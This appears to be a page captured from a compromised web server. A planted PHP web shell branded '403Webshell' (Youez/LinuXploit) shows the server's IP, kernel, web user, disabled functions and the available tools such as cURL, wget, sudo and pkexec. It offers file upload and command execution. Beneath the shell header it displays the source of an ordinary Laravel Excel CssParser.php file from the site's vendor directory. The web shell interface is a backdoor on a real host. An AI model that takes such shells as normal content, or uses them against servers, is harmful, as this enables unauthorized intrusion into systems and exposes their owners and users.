403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/vendor/maatwebsite/excel/src/Maatwebsite/Excel/Parsers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/vendor/maatwebsite/excel/src/Maatwebsite/Excel/Parsers/CssParser.php
<?php namespace Maatwebsite\Excel\Parsers;

use DOMDocument;
use Illuminate\Support\Facades\URL;
use TijsVerkoyen\CssToInlineStyles\CssToInlineStyles;

/**
 *
 * LaravelExcel CSS Parser
 *
 * @category   Laravel Excel
 * @version    1.0.0
 * @package    maatwebsite/excel
 * @copyright  Copyright (c) 2013 - 2014 Maatwebsite (http://www.maatwebsite.nl)
 * @author     Maatwebsite <info@maatwebsite.nl>
 * @license    http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt    LGPL
 */
class CssParser {

    /**
     * @var CssToInlineStyles
     */
    protected $cssInliner;

    /**
     * DOM xml
     * @var \SimpleXMLElement
     */
    protected $xml;

    /**
     * Style sheet links
     * @var array
     */
    protected $links = [];

    /**
     * Construct the css parser
     * @param CssToInlineStyles $cssInliner
     */
    public function __construct(CssToInlineStyles $cssInliner)
    {
        $this->cssInliner = $cssInliner;
    }

    /**
     * Transform the found css to inline styles
     */
    public function transformCssToInlineStyles($html)
    {
        $css = '';

        // Loop through all stylesheets
        foreach($this->links as $link)
        {
            $css .= file_get_contents($link);
        }

        return $this->cssInliner->convert($html, $css);
    }

    /**
     * Find the stylesheets inside the view
     * @param DOMDocument $dom
     * @return CssParser
     */
    public function findStyleSheets(DOMDocument $dom)
    {
        // Import the dom
        $this->importDom($dom);

        // Get all stylesheet tags
        $tags = $this->getStyleSheetTags();

        foreach ($tags as $node)
        {
            $this->links[] = $this->getCleanStyleSheetLink($node);
        }

        // We don't need duplicate css files
        $this->links = array_unique($this->links);

        return $this;
    }

    /**
     * Import the dom
     * @return SimpleXMLElement
     */
    protected function importDom(DOMDocument $dom)
    {
        return $this->xml = simplexml_import_dom($dom);
    }

    /**
     * Get all stylesheet tags
     * @return array
     */
    protected function getStyleSheetTags()
    {
        return $this->xml->xpath('//link[@rel="stylesheet"]');
    }

    /**
     * Get the clean link to the stylesheet
     * @param  string $node
     * @return string
     */
    protected function getCleanStyleSheetLink($node)
    {
        // Get the link
        $link = $node->attributes()->href;

        return $link;
    }

    /**
     * Get css from link
     * @param  string $link
     * @return string|boolean
     */
    protected function getCssFromLink($link)
    {
        return file_get_contents($link);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit